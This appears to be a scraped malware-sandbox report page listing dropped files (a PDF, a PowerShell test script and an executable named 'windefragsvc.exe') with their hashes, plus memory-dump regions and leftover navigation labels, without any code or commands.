42295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f03335624bc01e60d926f0f475b3dda3

SHA1
403f03c61777937792f582a788a2b86288d05872

SHA256
477b3c94c8320b8efcc25e5e343756974f43a41508b6010e4661e87bbb52535a

SHA512
f8a17edecdca6dc999c10bf479008d5b7411d6f5702fd09be278f1f6943538e6216046e97c1ffd0f81058a1527ed1144ce1c2f379e17cca40245d8ae265ca7bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhf0vwkq.glp.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Evernote-Supplemental-Terms.pdf

Filesize
70KB

MD5
508c98b92beb1aac53108149273aeb18

SHA1
434698e85e6bf7e1989212ce99d3b3e0a6b5171d

SHA256
861b8186ac5e7157ff17abe83c9aff3856113d43adf3bae520f93d75940c9c46

SHA512
08dfe9c8809bbf0ff03add0025a29e23834b9f37f926c1b9646e5cf217e690cd77872df90a8b2a71f18beb9334a547aa0eb2d26c1fcc423f95e1c19ee42d932f

Download Submit
C:\Users\Admin\AppData\Roaming\windefragsvc.exe

Filesize
11.7MB

MD5
4cbf5db190e95e44d2a637e3513cb39f

SHA1
0f83db9b94d8d3975116732282364ee7aa8d142f

SHA256
84c2b21f5b3c48dfb7481094b8e7f8c2f56e041fe3244b1a608bc264d83536bb

SHA512
a4d0fb58ceabe86f7f3ce81624d7ab60fcde15bed4b928eaf03ed431230052b814d0a483b67ca42afa5dbb0fd9bb02043a6c52db4b980b6fde7d0357d5773193

Download Submit
memory/1984-177-0x0000000008B80000-0x0000000008F7E000-memory.dmp

Filesize
4.0MB

Download
memory/1984-110-0x0000000000EB0000-0x0000000001A74000-memory.dmp

Filesize
11.8MB

Download
memory/1984-111-0x00000000068D0000-0x0000000006DCE000-memory.dmp

Filesize
5.0MB

Download
memory/1984-112-0x0000000006320000-0x00000000063B2000-memory.dmp

Filesize
584KB

Download
memory/1984-117-0x00000000063D0000-0x00000000063DA000-memory.dmp

Filesize
40KB

Download
memory/1984-121-0x0000000007690000-0x0000000007766000-memory.dmp

Filesize
856KB

Download
memory/3384-184-0x00000000063F0000-0x0000000006456000-memory.dmp

Filesize
408KB

Download
memory/3384-183-0x0000000006350000-0x00000000063EC000-memory.dmp

Filesize
624KB

Download
memory/3384-178-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/4132-0-0x00007FF9D2D43000-0x00007FF9D2D44000-memory.dmp

Filesize
4KB

Download
memory/4132-5-0x000002282A880000-0x000002282A8A2000-memory.dmp

Filesize
136KB

Download
memory/4132-7-0x00007FF9D2D40000-0x00007FF9D372C000-memory.dmp

Filesize
9.9MB

Download
memory/4132-24-0x00007FF9D2D40000-0x00007FF9D372C000-memory.dmp

Filesize
9.9MB

Download
memory/4132-9-0x0000022842E90000-0x0000022842F06000-memory.dmp

Filesize
472KB

Download
memory/4132-10-0x00007FF9D2D40000-0x00007FF9D372C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads